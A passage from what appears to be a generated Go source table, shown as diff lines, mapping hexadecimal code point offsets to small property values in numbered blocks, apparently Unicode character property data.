0x00c8, 0x38e: 0x00c8, 0x38f: 0x00c8, 0x390: 0x0088, 0x391: 0x0088, + 0x392: 0x0088, 0x393: 0x0088, 0x394: 0x0088, 0x395: 0x0088, 0x396: 0x0088, 0x397: 0x00c8, + 0x398: 0x00c8, 0x399: 0x00c8, 0x39a: 0x00c8, 0x39b: 0x00c8, 0x39c: 0x00c8, 0x39d: 0x00c8, + 0x39e: 0x00c8, 0x39f: 0x00c8, 0x3a0: 0x00c8, 0x3a1: 0x00c8, 0x3a2: 0x00c0, 0x3a3: 0x00c0, + 0x3a4: 0x00c0, 0x3a5: 0x00c0, 0x3a6: 0x00c0, 0x3a7: 0x00c0, 0x3a8: 0x00c0, 0x3a9: 0x00c0, + 0x3aa: 0x00c0, 0x3ab: 0x00c0, 0x3ac: 0x00c0, 0x3ad: 0x00c0, 0x3ae: 0x00c0, 0x3af: 0x00c0, + 0x3b0: 0x0088, 0x3b1: 0x0088, 0x3b2: 0x0088, 0x3b3: 0x00c8, 0x3b4: 0x0088, 0x3b5: 0x0088, + 0x3b6: 0x0088, 0x3b7: 0x00c8, 0x3b8: 0x00c8, 0x3b9: 0x0088, 0x3ba: 0x00c8, 0x3bb: 0x00c8, + 0x3bc: 0x00c8, 0x3bd: 0x00c8, 0x3be: 0x00c8, 0x3bf: 0x00c8, + // Block 0xf, offset 0x3c0 + 0x3c0: 0x00c0, 0x3c1: 0x00c0, 0x3c2: 0x0080, 0x3c3: 0x00c3, 0x3c4: 0x00c3, 0x3c5: 0x00c3, + 0x3c6: 0x00c3, 0x3c7: 0x00c3, 0x3c8: 0x0083, 0x3c9: 0x0083, 0x3ca: 0x00c0, 0x3cb: 0x00c0, + 0x3cc: 0x00c0, 0x3cd: 0x00c0, 0x3ce: 0x00c0, 0x3cf: 0x00c0, 0x3d0: 0x00c0, 0x3d1: 0x00c0, + 0x3d2: 0x00c0, 0x3d3: 0x00c0, 0x3d4: 0x00c0, 0x3d5: 0x00c0, 0x3d6: 0x00c0, 0x3d7: 0x00c0, + 0x3d8: 0x00c0, 0x3d9: 0x00c0, 0x3da: 0x00c0, 0x3db: 0x00c0, 0x3dc: 0x00c0, 0x3dd: 0x00c0, + 0x3de: 0x00c0, 0x3df: 0x00c0, 0x3e0: 0x00c0, 0x3e1: 0x00c0, 0x3e2: 0x00c0, 0x3e3: 0x00c0, + 0x3e4: 0x00c0, 0x3e5: 0x00c0, 0x3e6: 0x00c0, 0x3e7: 0x00c0, 0x3e8: 0x00c0, 0x3e9: 0x00c0, + 0x3ea: 0x00c0, 0x3eb: 0x00c0, 0x3ec: 0x00c0, 0x3ed: 0x00c0, 0x3ee: 0x00c0, 0x3ef: 0x00c0, + 0x3f0: 0x00c0, 0x3f1: 0x00c0, 0x3f2: 0x00c0, 0x3f3: 0x00c0, 0x3f4: 0x00c0, 0x3f5: 0x00c0, + 0x3f6: 0x00c0, 0x3f7: 0x00c0, 0x3f8: 0x00c0, 0x3f9: 0x00c0, 0x3fa: 0x00c0, 0x3fb: 0x00c0, + 0x3fc: 0x00c0, 0x3fd: 0x00c0, 0x3fe: 0x00c0, 0x3ff: 0x00c0, + // Block 0x10, offset 0x400 + 0x400: 0x00c0, 0x401: 0x00c0, 0x402: 0x00c0, 0x403: 0x00c0, 0x404: 0x00c0, 0x405: 0x00c0, + 0x406: 0x00c0, 0x407: 0x00c0, 0x408: 0x00c0, 0x409: 0x00c0, 0x40a: 0x00c0, 0x40b: 0x00c0, + 0x40c: 0x00c0, 0x40d: 0x00c0, 0x40e: 0x00c0, 0x40f: 0x00c0, 0x410: 0x00c0, 0x411: 0x00c0, + 0x412: 0x00c0, 0x413: 0x00c0, 0x414: 0x00c0, 0x415: 0x00c0, 0x416: 0x00c0, 0x417: 0x00c0, + 0x418: 0x00c0, 0x419: 0x00c0, 0x41a: 0x00c0, 0x41b: 0x00c0, 0x41c: 0x00c0, 0x41d: 0x00c0, + 0x41e: 0x00c0, 0x41f: 0x00c0, 0x420: 0x00c0, 0x421: 0x00c0, 0x422: 0x00c0, 0x423: 0x00c0, + 0x424: 0x00c0, 0x425: 0x00c0, 0x426: 0x00c0, 0x427: 0x00c0, 0x428: 0x00c0, 0x429: 0x00c0, + 0x42a: 0x00c0, 0x42b: 0x00c0, 0x42c: 0x00c0, 0x42d: 0x00c0, 0x42e: 0x00c0, 0x42f: 0x00c0, + 0x431: 0x00c0, 0x432: 0x00c0, 0x433: 0x00c0, 0x434: 0x00c0, 0x435: 0x00c0, + 0x436: 0x00c0, 0x437: 0x00c0, 0x438: 0x00c0, 0x439: 0x00c0, 0x43a: 0x00c0, 0x43b: 0x00c0, + 0x43c: 0x00c0, 0x43d: 0x00c0, 0x43e: 0x00c0, 0x43f: 0x00c0, + // Block 0x11, offset 0x440 + 0x440: 0x00c0, 0x441: 0x00c0, 0x442: 0x00c0, 0x443: 0x00c0, 0x444: 0x00c0, 0x445: 0x00c0, + 0x446: 0x00c0, 0x447: 0x00c0, 0x448: 0x00c0, 0x449: 0x00c0, 0x44a: 0x00c0, 0x44b: 0x00c0, + 0x44c: 0x00c0, 0x44d: 0x00c0, 0x44e: 0x00c0, 0x44f: 0x00c0, 0x450: 0x00c0, 0x451: 0x00c0, + 0x452: 0x00c0, 0x453: 0x00c0, 0x454: 0x00c0, 0x455: 0x00c0, 0x456: 0x00c0, + 0x459: 0x00c0, 0x45a: 0x0080, 0x45b: 0x0080, 0x45c: 0x0080, 0x45d: 0x0080, + 0x45e: 0x0080, 0x45f: 0x0080, 0x460: 0x00c0, 0x461: 0x00c0, 0x462: 0x00c0, 0x463: 0x00c0, + 0x464: 0x00c0, 0x465: 0x00c0, 0x466: 0x00c0, 0x467: 0x00c0, 0x468: 0x00c0, 0x469: 0x00c0, + 0x46a: 0x00c0, 0x46b: 0x00c0, 0x46c: 0x00c0, 0x46d: 0x00c0, 0x46e: 0x00c0, 0x46f: 0x00c0, + 0x470: 0x00c0, 0x471: 0x00c0, 0x472: 0x00c0, 0x473: 0x00c0, 0x474: 0x00c0, 0x475: 0x00c0, + 0x476: 0x00c0, 0x477: 0x00c0, 0x478: 0x00c0, 0x479: 0x00c0, 0x47a: 0x00c0, 0x47b: 0x00c0, + 0x47c: 0x00c0, 0x47d: 0x00c0, 0x47e: 0x00c0, 0x47f: 0x00c0, + // Block 0x12, offset 0x480 + 0x480: 0x00c0, 0x481: 0x00c0, 0x482: 0x00c0, 0x483: 0x00c0, 0x484: 0x00c0, 0x485: 0x00c0, + 0x486: 0x00c0, 0x487: 0x0080, 0x488: 0x00c0, 0x489: 0x0080, 0x48a: 0x0080, + 0x48d: 0x0080, 0x48e: 0x0080, 0x48f: 0x0080, 0x491: 0x00cb, + 0x492: 0x00cb, 0x493: 0x00cb, 0x494: 0x00cb, 0x495: 0x00cb, 0x496: 0x00cb, 0x497: 0x00cb, + 0x498: 0x00cb, 0x499: 0x00cb, 0x49a: 0x00cb, 0x49b: 0x00cb, 0x49c: 0x00cb, 0x49d: 0x00cb, + 0x49e: 0x00cb, 0x49f: 0x00cb, 0x4a0: 0x00cb, 0x4a1: 0x00cb, 0x4a2: 0x00cb, 0x4a3: 0x00cb, + 0x4a4: 0x00cb, 0x4a5: 0x00cb, 0x4a6: 0x00cb, 0x4a7: 0x00cb, 0x4a8: 0x00cb, 0x4a9: 0x00cb, + 0x4aa: 0x00cb, 0x4ab: 0x00cb, 0x4ac: 0x00cb, 0x4ad: 0x00cb, 0x4ae: 0x00cb, 0x4af: 0x00cb, + 0x4b0: 0x00cb, 0x4b1: 0x00cb, 0x4b2: 0x00cb, 0x4b3: 0x00cb, 0x4b4: 0x00cb, 0x4b5: 0x00cb, + 0x4b6: 0x00cb, 0x4b7: 0x00cb, 0x4b8: 0x00cb, 0x4b9: 0x00cb, 0x4ba: 0x00cb, 0x4bb: 0x00cb, + 0x4bc: 0x00cb, 0x4bd: 0x00cb, 0x4be: 0x008a, 0x4bf: 0x00cb, + // Block 0x13, offset 0x4c0 + 0x4c0: 0x008a, 0x4c1: 0x00cb, 0x4c2: 0x00cb, 0x4c3: 0x008a, 0x4c4: 0x00cb, 0x4c5: 0x00cb, + 0x4c6: 0x008a, 0x4c7: 0x00cb, + 0x4d0: 0x00ca, 0x4d1: 0x00ca, + 0x4d2: 0x00ca, 0x4d3: 0x00ca, 0x4d4: 0x00ca, 0x4d5: 0x00ca, 0x4d6: 0x00ca, 0x4d7: 0x00ca, + 0x4d8: 0x00ca, 0x4d9: 0x00ca, 0x4da: 0x00ca, 0x4db: 0x00ca, 0x4dc: 0x00ca, 0x4dd: 0x00ca, + 0x4de: 0x00ca, 0x4df: 0x00ca, 0x4e0: 0x00ca, 0x4e1: 0x00ca, 0x4e2: 0x00ca, 0x4e3: 0x00ca, + 0x4e4: 0x00ca, 0x4e5: 0x00ca, 0x4e6: 0x00ca, 0x4e7: 0x00ca, 0x4e8: 0x00ca, 0x4e9: 0x00ca, + 0x4ea: 0x00ca, 0x4ef: 0x00ca, + 0x4f0: 0x00ca, 0x4f1: 0x00ca, 0x4f2: 0x00ca, 0x4f3: 0x0051, 0x4f4: 0x0051, + // Block 0x14, offset 0x500 + 0x500: 0x0040, 0x501: 0x0040, 0x502: 0x0040, 0x503: 0x0040, 0x504: 0x0040, 0x505: 0x0040, + 0x506: 0x0080, 0x507: 0x0080, 0x508: 0x0080, 0x509: 0x0080, 0x50a: 0x0080, 0x50b: 0x0080, + 0x50c: 0x0080, 0x50d: 0x0080, 0x50e: 0x0080, 0x50f: 0x0080, 0x510: 0x00c3, 0x511: 0x00c3, + 0x512: 0x00c3, 0x513: 0x00c3, 0x514: 0x00c3, 0x515: 0x00c3, 0x516: 0x00c3, 0x517: 0x00c3, + 0x518: 0x00c3, 0x519: 0x00c3, 0x51a: 0x00c3, 0x51b: 0x0080, 0x51c: 0x0040, 0x51d: 0x0080, + 0x51e: 0x0080, 0x51f: 0x0080, 0x520: 0x00c2, 0x521: 0x00c0, 0x522: 0x00c4, 0x523: 0x00c4, + 0x524: 0x00c4, 0x525: 0x00c4, 0x526: 0x00c2, 0x527: 0x00c4, 0x528: 0x00c2, 0x529: 0x00c4, + 0x52a: 0x00c2, 0x52b: 0x00c2, 0x52c: 0x00c2, 0x52d: 0x00c2, 0x52e: 0x00c2, 0x52f: 0x00c4, + 0x530: 0x00c4, 0x531: 0x00c4, 0x532: 0x00c4, 0x533: 0x00c2, 0x534: 0x00c2, 0x535: 0x00c2, + 0x536: 0x00c2, 0x537: 0x00c2, 0x538: 0x00c2, 0x539: 0x00c2, 0x53a: 0x00c2, 0x53b: 0x00c2, + 0x53c: 0x00c2, 0x53d: 0x00c2, 0x53e: 0x00c2, 0x53f: 0x00c2, + // Block 0x15, offset 0x540 + 0x540: 0x0040, 0x541: 0x00c2, 0x542: 0x00c2, 0x543: 0x00c2, 0x544: 0x00c2, 0x545: 0x00c2, + 0x546: 0x00c2, 0x547: 0x00c2, 0x548: 0x00c4, 0x549: 0x00c2, 0x54a: 0x00c2, 0x54b: 0x00c3, + 0x54c: 0x00c3, 0x54d: 0x00c3, 0x54e: 0x00c3, 0x54f: 0x00c3, 0x550: 0x00c3, 0x551: 0x00c3, + 0x552: 0x00c3, 0x553: 0x00c3, 0x554: 0x00c3, 0x555: 0x00c3, 0x556: 0x00c3, 0x557: 0x00c3, + 0x558: 0x00c3, 0x559: 0x00c3, 0x55a: 0x00c3, 0x55b: 0x00c3, 0x55c: 0x00c3, 0x55d: 0x00c3, + 0x55e: 0x00c3, 0x55f: 0x00c3, 0x560: 0x0053, 0x561: 0x0053, 0x562: 0x0053, 0x563: 0x0053, + 0x564: 0x0053, 0x565: 0x0053, 0x566: 0x0053, 0x567: 0x0053, 0x568: 0x0053, 0x569: 0x0053, + 0x56a: 0x0080, 0x56b: 0x0080, 0x56c: 0x0080, 0x56d: 0x0080, 0x56e: 0x00c2, 0x56f: 0x00c2, + 0x570: 0x00c3, 0x571: 0x00c4, 0x572: 0x00c4, 0x573: 0x00c4, 0x574: 0x00c0, 0x575: 0x0084, + 0x576: 0x0084, 0x577: 0x0084, 0x578: 0x0082, 0x579: 0x00c2, 0x57a: 0x00c2, 0x57b: 0x00c2, + 0x57c: 0x00c2, 0x57d: 0x00c2, 0x57e: 0x00c2, 0x57f: 0x00c2, + // Block 0x16, offset 0x580 + 0x580: 0x00c2, 0x581: 0x00c2, 0x582: 0x00c2, 0x583: 0x00c2, 0x584: 0x00c2, 0x585: 0x00c2, + 0x586: 0x00c2, 0x587: 0x00c2, 0x588: 0x00c4, 0x589: 0x00c4, 0x58a: 0x00c4, 0x58b: 0x00c4, + 0x58c: 0x00c4, 0x58d: 0x00c4, 0x58e: 0x00c4, 0x58f: 0x00c4, 0x590: 0x00c4, 0x591: 0x00c4, + 0x592: 0x00c4, 0x593: 0x00c4, 0x594: 0x00c4, 0x595: 0x00c4, 0x596: 0x00c4, 0x597: 0x00c4, + 0x598: 0x00c4, 0x599: 0x00c4, 0x59a: 0x00c2, 0x59b: 0x00c2, 0x59c: 0x00c2, 0x59d: 0x00c2, + 0x59e: 0x00c2, 0x59f: 0x00c2, 0x5a0: 0x00c2, 0x5a1: 0x00c2, 0x5a2: 0x00c2, 0x5a3: 0x00c2, + 0x5a4: 0x00c2, 0x5a5: 0x00c2, 0x5a6: 0x00c2, 0x5a7: 0x00c2, 0x5a8: 0x00c2, 0x5a9: 0x00c2, + 0x5aa: 0x00c2, 0x5ab: 0x00c2, 0x5ac: 0x00c2, 0x5ad: 0x00c2, 0x5ae: 0x00c2, 0x5af: 0x00c2, + 0x5b0: 0x00c2, 0x5b1: 0x00c2, 0x5b2: 0x00c2, 0x5b3: 0x00c2, 0x5b4: 0x00c2, 0x5b5: 0x00c2, + 0x5b6: 0x00c2, 0x5b7: 0x00c2, 0x5b8: 0x00c2, 0x5b9: 0x00c2, 0x5ba: 0x00c2, 0x5bb: 0x00c2, + 0x5bc: 0x00c2, 0x5bd: 0x00c2, 0x5be: 0x00c2, 0x5bf: 0x00c2, + // Block 0x17, offset 0x5c0 + 0x5c0: 0x00c4, 0x5c1: 0x00c2, 0x5c2: 0x00c2, 0x5c3: 0x00c4, 0x5c4: 0x00c4, 0x5c5: 0x00c4, + 0x5c6: 0x00c4, 0x5c7: 0x00c4, 0x5c8: 0x00c4, 0x5c9: 0x00c4, 0x5ca: 0x00c4, 0x5cb: 0x00c4, + 0x5cc: 0x00c2, 0x5cd: 0x00c4, 0x5ce: 0x00c2, 0x5cf: 0x00c4, 0x5d0: 0x00c2, 0x5d1: 0x00c2, + 0x5d2: 0x00c4, 0x5d3: 0x00c4, 0x5d4: 0x0080, 0x5d5: 0x00c4, 0x5d6: 0x00c3, 0x5d7: 0x00c3, + 0x5d8: 0x00c3, 0x5d9: 0x00c3, 0x5da: 0x00c3, 0x5db: 0x00c3, 0x5dc: 0x00c3, 0x5dd: 0x0040, + 0x5de: 0x0080, 0x5df: 0x00c3, 0x5e0: 0x00c3, 0x5e1: 0x00c3, 0x5e2: 0x00c3, 0x5e3: 0x00c3, + 0x5e4: 0x00c3, 0x5e5: 0x00c0, 0x5e6: 0x00c0, 0x5e7: 0x00c3, 0x5e8: 0x00c3, 0x5e9: 0x0080, + 0x5ea: 0x00c3, 0x5eb: 0x00c3, 0x5ec: 0x00c3, 0x5ed: 0x00c3, 0x5ee: 0x00c4, 0x5ef: 0x00c4, + 0x5f0: 0x0054, 0x5f1: 0x0054, 0x5f2: 0x0054, 0x5f3: 0x0054, 0x5f4: 0x0054, 0x5f5: 0x0054, + 0x5f6: 0x0054, 0x5f7: 0x0054, 0x5f8: 0x0054, 0x5f9: 0x0054, 0x5fa: 0x00c2, 0x5fb: 0x00c2, + 0x5fc: 0x00c2, 0x5fd: 0x00c0, 0x5fe: 0x00c0, 0x5ff: 0x00c2, + // Block 0x18, offset 0x600 + 0x600: 0x0080, 0x601: 0x0080, 0x602: 0x0080, 0x603: 0x0080, 0x604: 0x0080, 0x605: 0x0080, + 0x606: 0x0080, 0x607: 0x0080, 0x608: 0x0080, 0x609: 0x0080, 0x60a: 0x0080, 0x60b: 0x0080, + 0x60c: 0x0080, 0x60d: 0x0080, 0x60f: 0x0040, 0x610: 0x00c4, 0x611: 0x00c3, + 0x612: 0x00c2, 0x613: 0x00c2, 0x614: 0x00c2, 0x615: 0x00c4, 0x616: 0x00c4, 0x617: 0x00c4, + 0x618: 0x00c4, 0x619: 0x00c4, 0x61a: 0x00c2, 0x61b: 0x00c2, 0x61c: 0x00c2, 0x61d: 0x00c2, + 0x61e: 0x00c4, 0x61f: 0x00c2, 0x620: 0x00c2, 0x621: 0x00c2, 0x622: 0x00c2, 0x623: 0x00c2, + 0x624: 0x00c2, 0x625: 0x00c2, 0x626: 0x00c2, 0x627: 0x00c2, 0x628: 0x00c4, 0x629: 0x00c2, + 0x62a: 0x00c4, 0x62b: 0x00c2, 0x62c: 0x00c4, 0x62d: 0x00c2, 0x62e: 0x00c2, 0x62f: 0x00c4, + 0x630: 0x00c3, 0x631: 0x00c3, 0x632: 0x00c3, 0x633: 0x00c3, 0x634: 0x00c3, 0x635: 0x00c3, + 0x636: 0x00c3, 0x637: 0x00c3, 0x638: 0x00c3, 0x639: 0x00c3, 0x63a: 0x00c3, 0x63b: 0x00c3, + 0x63c: 0x00c3, 0x63d: 0x00c3, 0x63e: 0x00c3, 0x63f: 0x00c3, + // Block 0x19, offset 0x640 + 0x640: 0x00c3, 0x641: 0x00c3, 0x642: 0x00c3, 0x643: 0x00c3, 0x644: 0x00c3, 0x645: 0x00c3, + 0x646: 0x00c3, 0x647: 0x00c3, 0x648: 0x00c3, 0x649: 0x00c3, 0x64a: 0x00c3, + 0x64d: 0x00c4, 0x64e: 0x00c2, 0x64f: 0x00c2, 0x650: 0x00c2, 0x651: 0x00c2, + 0x652: 0x00c2, 0x653: 0x00c2, 0x654: 0x00c2, 0x655: 0x00c2, 0x656: 0x00c2, 0x657: 0x00c2, + 0x658: 0x00c2, 0x659: 0x00c4, 0x65a: 0x00c4, 0x65b: 0x00c4, 0x65c: 0x00c2, 0x65d: 0x00c2, + 0x65e: 0x00c2, 0x65f: 0x00c2, 0x660: 0x00c2, 0x661: 0x00c2, 0x662: 0x00c2, 0x663: 0x00c2, + 0x664: 0x00c2, 0x665: 0x00c2, 0x666: 0x00c2, 0x667: 0x00c2, 0x668: 0x00c2, 0x669: 0x00c2, + 0x66a: 0x00c2, 0x66b: 0x00c4, 0x66c: 0x00c4, 0x66d: 0x00c2, 0x66e: 0x00c2, 0x66f: 0x00c2, + 0x670: 0x00c2, 0x671: 0x00c4, 0x672: 0x00c2, 0x673: 0x00c4, 0x674: 0x00c4, 0x675: 0x00c2, + 0x676: 0x00c2, 0x677: 0x00c2, 0x678: 0x00c4, 0x679: 0x00c4, 0x67a: 0x00c2, 0x67b: 0x00c2, + 0x67c: 0x00c2, 0x67d: 0x00c2, 0x67e: 0x00c2, 0x67f: 0x00c2, + // Block 0x1a, offset 0x680 + 0x680: 0x00c0, 0x681: 0x00c0, 0x682: 0x00c0, 0x683: 0x00c0, 0x684: 0x00c0, 0x685: 0x00c0, + 0x686: 0x00c0, 0x687: 0x00c0, 0x688: 0x00c0, 0x689: 0x00c0, 0x68a: 0x00c0, 0x68b: 0x00c0, + 0x68c: 0x00c0, 0x68d: 0x00c0, 0x68e: 0x00c0, 0x68f: 0x00c0, 0x690: 0x00c0, 0x691: 0x00c0, + 0x692: 0x00c0, 0x693: 0x00c0, 0x694: 0x00c0, 0x695: 0x00c0, 0x696: 0x00c0, 0x697: 0x00c0, + 0x698: 0x00c0, 0x699: 0x00c0, 0x69a: 0x00c0, 0x69b: 0x00c0, 0x69c: 0x00c0, 0x69d: 0x00c0, + 0x69e: 0x00c0, 0x69f: 0x00c0, 0x6a0: 0x00c0, 0x6a1: 0x00c0, 0x6a2: 0x00c0, 0x6a3: 0x00c0, + 0x6a4: 0x00c0, 0x6a5: 0x00c0, 0x6a6: 0x00c3, 0x6a7: 0x00c3, 0x6a8: 0x00c3, 0x6a9: 0x00c3, + 0x6aa: 0x00c3, 0x6ab: 0x00c3, 0x6ac: 0x00c3, 0x6ad: 0x00c3, 0x6ae: 0x00c3, 0x6af: 0x00c3, + 0x6b0: 0x00c3, 0x6b1: 0x00c0, + // Block 0x1b, offset 0x6c0 + 0x6c0: 0x00c0, 0x6c1: 0x00c0, 0x6c2: 0x00c0, 0x6c3: 0x00c0, 0x6c4: 0x00c0, 0x6c5: 0x00c0, + 0x6c6: 0x00c0, 0x6c7: 0x00c0, 0x6c8: 0x00c0, 0x6c9: 0x00c0, 0x6ca: 0x00c2, 0x6cb: 0x00c2, + 0x6cc: 0x00c2, 0x6cd: 0x00c2, 0x6ce: 0x00c2, 0x6cf: 0x00c2, 0x6d0: 0x00c2, 0x6d1: 0x00c2, + 0x6d2: 0x00c2, 0x6d3: 0x00c2, 0x6d4: 0x00c2, 0x6d5: 0x00c2, 0x6d6: 0x00c2, 0x6d7: 0x00c2, + 0x6d8: 0x00c2, 0x6d9: 0x00c2, 0x6da: 0x00c2, 0x6db: 0x00c2, 0x6dc: 0x00c2, 0x6dd: 0x00c2, + 0x6de: 0x00c2, 0x6df: 0x00c2, 0x6e0: 0x00c2, 0x6e1: 0x00c2, 0x6e2: 0x00c2, 0x6e3: 0x00c2, + 0x6e4: 0x00c2, 0x6e5: 0x00c2, 0x6e6: 0x00c2, 0x6e7: 0x00c2, 0x6e8: 0x00c2, 0x6e9: 0x00c2, + 0x6ea: 0x00c2, 0x6eb: 0x00c3, 0x6ec: 0x00c3, 0x6ed: 0x00c3, 0x6ee: 0x00c3, 0x6ef: 0x00c3, + 0x6f0: 0x00c3, 0x6f1: 0x00c3, 0x6f2: 0x00c3, 0x6f3: 0x00c3, 0x6f4: 0x00c0, 0x6f5: 0x00c0, + 0x6f6: 0x0080, 0x6f7: 0x0080, 0x6f8: 0x0080, 0x6f9: 0x0080, 0x6fa: 0x0040, + 0x6fd: 0x00c3, 0x6fe: 0x0080, 0x6ff: 0x0080, + // Block 0x1c, offset 0x700 + 0x700: 0x00c0, 0x701: 0x00c0, 0x702: 0x00c0, 0x703: 0x00c0, 0x704: 0x00c0, 0x705: 0x00c0, + 0x706: 0x00c0, 0x707: 0x00c0, 0x708: 0x00c0, 0x709: 0x00c0, 0x70a: 0x00c0, 0x70b: 0x00c0, + 0x70c: 0x00c0, 0x70d: 0x00c0, 0x70e: 0x00c0, 0x70f: 0x00c0, 0x710: 0x00c0, 0x711: 0x00c0, + 0x712: 0x00c0, 0x713: 0x00c0, 0x714: 0x00c0, 0x715: 0x00c0, 0x716: 0x00c3, 0x717: 0x00c3, + 0x718: 0x00c3, 0x719: 0x00c3, 0x71a: 0x00c0, 0x71b: 0x00c3, 0x71c: 0x00c3, 0x71d: 0x00c3, + 0x71e: 0x00c3, 0x71f: 0x00c3, 0x720: 0x00c3, 0x721: 0x00c3, 0x722: 0x00c3, 0x723: 0x00c3, + 0x724: 0x00c0, 0x725: 0x00c3, 0x726: 0x00c3, 0x727: 0x00c3, 0x728: 0x00c0, 0x729: 0x00c3, + 0x72a: 0x00c3, 0x72b: 0x00c3, 0x72c: 0x00c3, 0x72d: 0x00c3, + 0x730: 0x0080, 0x731: 0x0080, 0x732: 0x0080, 0x733: 0x0080, 0x734: 0x0080, 0x735: 0x0080, + 0x736: 0x0080, 0x737: 0x0080, 0x738: 0x0080, 0x739: 0x0080, 0x73a: 0x0080, 0x73b: 0x0080, + 0x73c: 0x0080, 0x73d: 0x0080, 0x73e: 0x0080, + // Block 0x1d, offset 0x740 + 0x740: 0x00c4, 0x741: 0x00c2, 0x742: 0x00c2, 0x743: 0x00c2, 0x744: 0x00c2, 0x745: 0x00c2, + 0x746: 0x00c4, 0x747: 0x00c4, 0x748: 0x00c2, 0x749: 0x00c4, 0x74a: 0x00c2, 0x74b: 0x00c2, + 0x74c: 0x00c2, 0x74d: 0x00c2, 0x74e: 0x00c2, 0x74f: 0x00c2, 0x750: 0x00c2, 0x751: 0x00c2, + 0x752: 0x00c2, 0x753: 0x00c2, 0x754: 0x00c4, 0x755: 0x00c2, 0x756: 0x00c4, 0x757: 0x00c4, + 0x758: 0x00c4, 0x759: 0x00c3, 0x75a: 0x00c3, 0x75b: 0x00c3, + 0x75e: 0x0080, 0x760: 0x00c2, 0x761: 0x00c0, 0x762: 0x00c2, 0x763: 0x00c2, + 0x764: 0x00c2, 0x765: 0x00c2, 0x766: 0x00c0, 0x767: 0x00c4, 0x768: 0x00c2, 0x769: 0x00c4, + 0x76a: 0x00c4, + 0x770: 0x00c4, 0x771: 0x00c4, 0x772: 0x00c4, 0x773: 0x00c4, 0x774: 0x00c4, 0x775: 0x00c4, + 0x776: 0x00c4, 0x777: 0x00c4, 0x778: 0x00c4, 0x779: 0x00c4, 0x77a: 0x00c4, 0x77b: 0x00c4, + 0x77c: 0x00c4, 0x77d: 0x00c4, 0x77e: 0x00c4, 0x77f: 0x00c4, + // Block 0x1e, offset 0x780 + 0x780: 0x00c4, 0x781: 0x00c4, 0x782: 0x00c4, 0x783: 0x00c0, 0x784: 0x00c0, 0x785: 0x00c0, + 0x786: 0x00c2, 0x787: 0x00c0, 0x788: 0x0080, 0x789: 0x00c2, 0x78a: 0x00c2, 0x78b: 0x00c2, + 0x78c: 0x00c2, 0x78d: 0x00c2, 0x78e: 0x00c4, 0x790: 0x0040, 0x791: 0x0040, + 0x798: 0x00c3, 0x799: 0x00c3, 0x79a: 0x00c3, 0x79b: 0x00c3, 0x79c: 0x00c3, 0x79d: 0x00c3, + 0x79e: 0x00c3, 0x79f: 0x00c3, 0x7a0: 0x00c2, 0x7a1: 0x00c2, 0x7a2: 0x00c2, 0x7a3: 0x00c2, + 0x7a4: 0x00c2, 0x7a5: 0x00c2, 0x7a6: 0x00c2, 0x7a7: 0x00c2, 0x7a8: 0x00c2, 0x7a9: 0x00c2, + 0x7aa: 0x00c4, 0x7ab: 0x00c4, 0x7ac: 0x00c4, 0x7ad: 0x00c0, 0x7ae: 0x00c4, 0x7af: 0x00c2, + 0x7b0: 0x00c2, 0x7b1: 0x00c4, 0x7b2: 0x00c4, 0x7b3: 0x00c2, 0x7b4: 0x00c2, 0x7b5: 0x00c2, + 0x7b6: 0x00c2, 0x7b7: 0x00c2, 0x7b8: 0x00c2, 0x7b9: 0x00c4, 0x7ba: 0x00c2, 0x7bb: 0x00c2, + 0x7bc: 0x00c2, 0x7bd: 0x00c2, 0x7be: 0x00c2, 0x7bf: 0x00c2, + // Block 0x1f, offset 0x7c0 + 0x7c0: 0x00c2, 0x7c1: 0x00c2, 0x7c2: 0x00c2, 0x7c3: 0x00c2, 0x7c4: 0x00c2, 0x7c5: 0x00c2, + 0x7c6: 0x00c2, 0x7c7: 0x00c2, 0x7c8: 0x00c2, 0x7c9: 0x00c0, 0x7ca: 0x00c3, 0x7cb: 0x00c3, + 0x7cc: 0x00c3, 0x7cd: 0x00c3, 0x7ce: 0x00c3, 0x7cf: 0x00c3, 0x7d0: 0x00c3, 0x7d1: 0x00c3, + 0x7d2: 0x00c3, 0x7d3: 0x00c3, 0x7d4: 0x00c3, 0x7d5: 0x00c3, 0x7d6: 0x00c3, 0x7d7: 0x00c3, + 0x7d8: 0x00c3, 0x7d9: 0x00c3, 0x7da: 0x00c3, 0x7db: 0x00c3, 0x7dc: 0x00c3, 0x7dd: 0x00c3, + 0x7de: 0x00c3, 0x7df: 0x00c3, 0x7e0: 0x00c3, 0x7e1: 0x00c3, 0x7e2: 0x0040, 0x7e3: 0x00c3, + 0x7e4: 0x00c3, 0x7e5: 0x00c3, 0x7e6: 0x00c3, 0x7e7: 0x00c3, 0x7e8: 0x00c3, 0x7e9: 0x00c3, + 0x7ea: 0x00c3, 0x7eb: 0x00c3, 0x7ec: 0x00c3, 0x7ed: 0x00c3, 0x7ee: 0x00c3, 0x7ef: 0x00c3, + 0x7f0: 0x00c3, 0x7f1: 0x00c3, 0x7f2: 0x00c3, 0x7f3: 0x00c3, 0x7f4: 0x00c3, 0x7f5: 0x00c3, + 0x7f6: 0x00c3, 0x7f7: 0x00c3, 0x7f8: 0x00c3, 0x7f9: 0x00c3, 0x7fa: 0x00c3, 0x7fb: 0x00c3, + 0x7fc: 0x00c3, 0x7fd: 0x00c3, 0x7fe: 0x00c3, 0x7ff: 0x00c3, + // Block 0x20, offset 0x800 + 0x800: 0x00c3, 0x801: 0x00c3, 0x802: 0x00c3, 0x803: 0x00c0, 0x804: 0x00c0, 0x805: 0x00c0, + 0x806: 0x00c0, 0x807: 0x00c0, 0x808: 0x00c0, 0x809: 0x00c0, 0x80a: 0x00c0, 0x80b: 0x00c0, + 0x80c: 0x00c0, 0x80d: 0x00c0, 0x80e: 0x00c0, 0x80f: 0x00c0, 0x810: 0x00c0, 0x811: 0x00c0, + 0x812: 0x00c0, 0x813: 0x00c0, 0x814: 0x00c0, 0x815: 0x00c0, 0x816: 0x00c0, 0x817: 0x00c0, + 0x818: 0x00c0, 0x819: 0x00c0, 0x81a: 0x00c0, 0x81b: 0x00c0, 0x81c: 0x00c0, 0x81d: 0x00c0, + 0x81e: 0x00c0, 0x81f: 0x00c0, 0x820: 0x00c0, 0x821: 0x00c0, 0x822: 0x00c0, 0x823: 0x00c0, + 0x824: 0x00c0, 0x825: 0x00c0, 0x826: 0x00c0, 0x827: 0x00c0, 0x828: 0x00c0, 0x829: 0x00c0, + 0x82a: 0x00c0, 0x82b: 0x00c0, 0x82c: 0x00c0, 0x82d: 0x00c0, 0x82e: 0x00c0, 0x82f: 0x00c0, + 0x830: 0x00c0, 0x831: 0x00c0, 0x832: 0x00c0, 0x833: 0x00c0, 0x834: 0x00c0, 0x835: 0x00c0, + 0x836: 